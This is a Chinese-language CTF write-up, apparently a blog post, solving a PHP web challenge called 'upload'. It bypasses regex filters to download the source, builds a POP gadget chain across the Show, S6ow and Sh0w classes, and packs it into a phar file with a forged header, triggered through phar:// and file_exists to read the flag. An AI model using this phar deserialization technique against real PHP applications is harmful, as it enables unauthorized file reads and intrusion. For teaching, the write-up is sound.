CTF - WEB - upload

简单浏览网页后发现给了一段php源码

<?php
$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
    if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
        echo("hacker!");
    }
    else{
        if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
            echo ("hacker!");
        }
        else{
            $name = safe_replace($name);
            if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
                $filename = $name.'.php';
                $dir ="./";
                $down_host = $_SERVER['HTTP_HOST'].'/';
                if(file_exists(__DIR__.'/'.$dir.$filename)){
                    $file = fopen ( $dir.$filename, "rb" );
                    Header ( "Content-type: application/octet-stream" );
                    Header ( "Accept-Ranges: bytes" );
                    Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
                    Header ( "Content-Disposition: attachment; filename=" . $filename );
                    echo fread ( $file, filesize ( $dir . $filename ) );
                    fclose ( $file );
                    exit ();
                }else{
                    echo ("file doesn't exist.");
                }
            }
            if (preg_match('/flag/i', $name)){
                echo ("hacker!");
            }
        }
    }
}
?>

通过 /base|class|file|function|index|upload_file/i 这个正则表达式提示网站有这些文件可以下载,接下来只需绕过正则

需要绕过的两个正则是相同的,经过一个未知函数过滤后使得第二次满足正则表达式,于是推测safe_replace($name)这个函数是起过滤特殊字符的作用

爆破之后成功下载到网页源码

浏览之后注意到这样一块代码

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php';
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
}
if(preg_match('/http|https|file:|gopher|dict|\.\/|\.\.|flag/i',$file)) {
            die('hacker!'); 
}elseif(!preg_match('/\//i',$file))
{
	die('hacker!');
}
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){
    die('file doesn\'t exists.'); 
} 
?> 

在网页没有对文件查询做限制的基础上,发现了file_exists($file)这个函数

在参数可控的情况下,配和phar://伪协议可以不依赖unserialize()函数进行反序列化操作

下面给出类的代码

<?php

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    { 
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
    }
    public function __toString()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class S6ow
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->params[$key];
    }
    public function __call($name, $arguments)
    {
        if($this->{$name})
            $this->{$this->{$name}}($arguments);
    }
    public function file_get($value)
    {
        var_dump($this->file);
        echo $this->file;
    }
}

class Sh0w
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = new Show('index.php');
        $this->str->source = $this->test;

    }
    public function __destruct()
    {
        $this->str->_show();
    }
}

__construct()//构造函数,创建一个对象前进行调用
__toString()//将对象作为字符串使用时调用,多数在直接echo对象时调用
__set($key,$value)//给对象属性赋值前进行调用,若对象属性不存在,$key为对象属性,$value为对应的值
__wakeup()//将对象反序列化前进行调用
__sleep()//将对象序列化前调用
__get($key)//输出对象前调用,若对象属性不存在,$key为对象属性
__call($key,$value)//调用一个该类中不存在的方法时进行调用,$key为不存在的方法名,$value以数组形式储存了调用过所有不存在的方法名
__destruct()//析构函数,销毁一个对象后进行调用

以上是各个魔术方法的触发条件

通过阅读发现__wakeup()虽然是一个突破口但是只能拿到index.php的源码,并没有什么作用,于是选择__destruct()作为突破口

类Show中对_show函数做了严格的过滤,无法直接拿到flag,发现file_get函数也可以对内容进行输出,并且参数file可控,从而想办法调用file_get()

在类S6ow中发现__call方法,在仔细查看后发现可以通过__get方法从而执行任意函数接着最后是怎么输出flag的问题,__toString()方法在将对象作为字符串使用时调用,从而完美的解决了问题

接着是进行构造

<?php
class Sh0w
{
    public $test;
    public $str;
}
class S6ow
{
    public $file;
    public $params;
}
class Show
{
    public $str;
    public $source;
}
$a = new S6ow();
$b = new Show();
$c = new Sh0w();
$b ->source = 'flag.txt';
$a ->params = array('_show' => 'file_get');
$a ->file = $b;
$c ->str = $a;
?>

然后将其按以下格式写成一个phar文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,可以通过修改文件头伪造成其他格式的文件
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest,进行序列化
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

由于php是根据__HALT_COMPILER();?>来识别是否为phar文件的,于是可以修改文件头伪造成其他格式的文件从而绕过上传限制

上传后通过phar://伪协议+文件路径进行查看,即可拿到flag

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值